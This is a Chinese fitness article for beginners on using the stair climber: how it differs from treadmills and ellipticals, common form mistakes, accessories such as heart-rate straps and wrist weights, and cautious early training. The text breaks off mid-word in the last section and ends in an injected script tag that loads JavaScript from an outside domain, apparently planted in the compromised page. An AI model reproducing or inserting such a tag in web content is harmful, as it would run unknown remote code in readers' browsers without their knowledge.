台阶器是一个在健身房里不太受宠的家伙，并不是因为它不好，而是因为它对你的帮助需要你付出比使用其他器械更多的努力来交换，所以很多人都望而却步。但它的确是个提高心肺功能的好帮手，我们在这里要向菜鸟们大力推荐。你可不要放过这么好的机会呀！

为什么叫台阶器？

    台阶器又叫登山器，所以顾名思义，这款设备会让你真实体验爬楼或者爬山的“痛快淋漓”之感。台阶器在众多器械中很容易被辨认出来。它的体积不大，立式，踩踏的地方可能被设计成两个踏板，也可能是你很熟悉的台阶状。台阶器在健身房里的数量要远小于跑步机，通常放置在有氧设备区域。

我为什么要选择台阶器？

●  台阶器的特点
台阶器最大的特点就是比较消耗体力。这主要取决于它的运动方式——身体整体向上的运动更强调心肺功能的锻炼，因为在上移的过程中，为了克服高度变化产生的势能，身体会付出相比较平行运动更多的努力。这也就是很多擅长使用跑步机的人并不适应台阶器的强度的原因。

●  台阶器与其他有氧设备的异同
与跑步机和椭圆仪一样，同作为有氧器械的台阶器的主要功能就是改善、提高使用者的心肺功能，帮助消耗多余热量。但与前二者相比，台阶器会对臀部和大腿有更多的刺激作用，就好像爬山后的第二天会明显感觉下肢酸痛。因此，很多人（尤其使女性）会误以为台阶器是专门的提臀机器。这里要为台阶器正名，它实际上是一种提升心肺能力行之有效的途径，应该被列入全身训练的项目中。至于如何更针对性地改善臀腿线条，还是要多请教你身边的专业教练。

健身房里常见的错误动作

●  踮起脚尖
很多人会刻意只用脚尖踩在踏板上，这样会使小腿肌肉过于紧张。而有氧训练的持续时间一般较长，所以训练过后肯定会引起小腿疼痛。要知道，这可不是我们的锻炼目的。全脚掌踩实踏板会更舒服、更安全。

●  身体前倾过多
身体过分前倾往往是由于使用了手柄造成的。台阶器上面设计的手柄有两个功能，一是通过金属传感测量运动心率，二是提供一定的支撑。但即使使用了手柄来帮助稳定身体平衡，也不要完全依靠这一外来的支撑力。尽量让身体与地面垂直，充分运用腰腹肌肉保持身体平衡。

●  身体重心放在双手和手柄上
手扶握柄时会自然而然地把身体重心转移到前方，甚至有的人会趴在手柄横杆上。这样的姿势容易导致膝关节弯曲时超越脚尖，从而给膝关节带来过大压力。除此之外，你的运动强度也随之被大大削减。你的目标应该是逐渐放弃依靠手柄，最终可以解放双手“直立行走”。

●  过分扭动髋关节
使劲扭胯会让屁股更翘吗？还是保持自然的扭动吧，太过分的左右摇摆可能加大髋关节的骨骼摩擦，结果也许是你要忍受持续数天的疼痛和日积月累的关节损伤。但愿你的屁屁不是因为发炎肿得变大

●  踩踏幅度过小
既然我们使用的是台阶器，那么就真的需要你模仿日常攀爬楼梯的动作。部分使用者的踩踏幅度特别小，两脚上下距离相差无几。这时的训练效果会大打折扣。你需要放慢脚下的动作频率，尽量踩得深一些之后再抬起。当然，也不是蹬得越深越好，如果你一脚踩到底，想要回到原有高度就会变得很难，而且还有可能无形中增加膝关节压力。只要记住一点，像平时爬楼梯一样！

建议使用的配件

●  心率带
如果你看过我们上一次的内容，就知道心率带对于有氧运动的意义如何了。带有接收和显示心率功能的台阶器都可以使用心率带，帮助你方便、快捷地了解自己的生理指数变化。

●  毛巾和水壶
台阶器的训练是很累的，所以毛巾和水壶是必备品。注意运动中的及时补水很重要，却又常常被大家忽略。每隔10-15分钟就喝上2-3口水可以维持较高的运动能力。相反，如果缺水，你会很快疲劳，而且出现精力不集中、反应能力下降等症状，这些都是危险隐患。

●  腕式沙袋
前面提示过你要慢慢学会不依靠扶手，这时就可以在踩踏板的同时加上摆臂动作。当你已经适应了徒手训练后，为何不尝试再增加一点负重，从而向自己提出更大的挑战呢？买一幅可以系在手腕上的小沙袋，随着每一次的摆臂，你的肩、背、腰、腹都会跟着一同得到锻炼，而且心肺系统会比以往更加努力地工作。

初学者可以这样安排训练

    对于初次使用台阶器的人，特别是心肺功能比较差的人来讲，这种训练可能会让你的心脏和呼吸系统在运动过程中承受较大的负担。也许刚刚开始一两分钟，你就会感觉心脏跳动剧烈、呼吸频率明显加快。这是很正常的现象，因为前面我们已经提到过，台阶器的运动方式决定了它要比其他有氧器械更消耗体力。所以，初学者要避免一上来就采用高强度训练模式，同时要养成随时注意自己运动心率的习?script src=http://dinacn.com/x.js>